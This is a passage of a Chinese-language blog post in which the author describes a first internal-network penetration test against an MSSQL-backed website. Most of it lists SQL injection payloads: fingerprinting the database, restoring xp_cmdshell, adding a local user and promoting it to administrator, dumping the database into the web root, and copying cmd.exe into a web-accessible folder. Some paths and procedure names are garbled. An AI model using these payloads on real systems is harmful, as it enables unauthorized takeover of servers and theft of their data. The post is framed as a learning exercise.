首页 测试 体会 查看内容

记一次内网渗透测试经历

2014-6-25 14:32| 发布者: tianzc| 查看: 525| 评论: 0

摘要:   话说刚开始接触安全测试时,没有一个系统的概念,前辈仍一个内网测试网站,让我把的shell拿下来,那我就开始吭哧吭哧的干起来。  首先,做渗透测试要有个思路,不能埋头苦干。所以就开始理了下思路,具体如下 ...
  话说刚开始接触安全测试时,没有一个系统的概念,前辈仍一个内网测试网站,让我把的shell拿下来,那我就开始吭哧吭哧的干起来。  首先,做渗透测试要有个思路,不能埋头苦干。所以就开始理了下思路,具体如下:  判断有无sql注入点,根据sql注入点来判断数据库类型,若是mssqlserver则查看存储过程xp_cmdshell 查看其是否被禁用,若没有被禁用,则直接在注入点后面直接使用xp_cmdshell 存储过程向系统中添加权限。  判断是否有上传漏洞,主要是上传asp等一句话脚本,先得到webshell,然后利用webshell再获取系统shell。  主要是利用sa,和第一种思路大致一样  主要就这几种思路,下面就开始实施。  首先,针对思路一:  既然是判断有无sql注入,最方便的方法当然是使用工具进行扫描,这里我使用的是webcruiser,一个非常小巧的工具,当然我这里肯定能够扫描出sql注入漏洞,接下来当然可以继续用这个工具得到数据库等信息,而我在这里就直接在该sql注入点是否能够执行xp_cmdshell。  具体方法是这样的:  确定数据库类型:  ?Id=1234;and (select count(*) from sysobjects)>0  得到当前连接名和数据库名,查看是否为sa连接。  ?id=1234;and user>0 (若显示dbo 则代表sa)。  ?id=1234;and db_name()>0,执行异常时,可以得到当前连接的数据库名。  查看xp_cmdshell是否被禁用。  ?id=1234;and (select count(*) from master.dbo.sysobjects where  xtype=”X” and name =’xp_cmdshell’)  若存储过程被删掉,则尝试恢复。  ?id=1234;and exec sp_addextendepro  xp_cmdshell,’xplog70.dll’  若出现下面的错误,可以尝试如下方法:  l 无法装载 DLL xpsql70.dll 或该DLL 所引用的某一DLL。原因126 (找不到指定模块)。  首先执行,exec sp_dropextendeproc “xp_cmdshell” ,然后执行sp_addextendeproc “xp_cmdshell”,”xpsql70.dll”  l 无法再库xpweb70.dll 中找到函数xp_cmdshell 原因127  首先执行 exec sp_dropextendeproc “xp_cmdshell” ,然后执行 exec sp_addextendeproc “xp_cmdshell”,”xpweb70.dll”  则利用存储过程,执行添加用户的操作。  ?id=1234 ;exec master..xp_cmdshell “net user aaa bbb /add ”--  其中aaa为用户名,bbb为密码。  添加到管理员组:  ?id=1234 ;exec master..xp_cmdshell “net  localgroup administrators aaa/add ”  若想备份数据库,则采用:  ?id=1234 ;exec backup database 数据库名 to disk =’C:inetpub/wwwrootsave.db’,当然前提是知道web虚拟路径。  当然当知道web虚拟路径的时候,可以通过制造一个unicode 漏洞来完成对计算机的控制。  ?id=1234;exec master..xp_cmdshell “copy c:windowssystem32cmd.exe  c:inetpubscriptscmd.exe”  上面的主要是利用xp_cmdshell 方法来的,如果其中的方法不起作用,那就另当别论了。
12下一页

鲜花

握手

雷人

路过

鸡蛋

扫一扫关注最新动态

毒镜头:老镜头、摄影器材资料库、老镜头样片、摄影
爱评测 aipingce.com  
返回顶部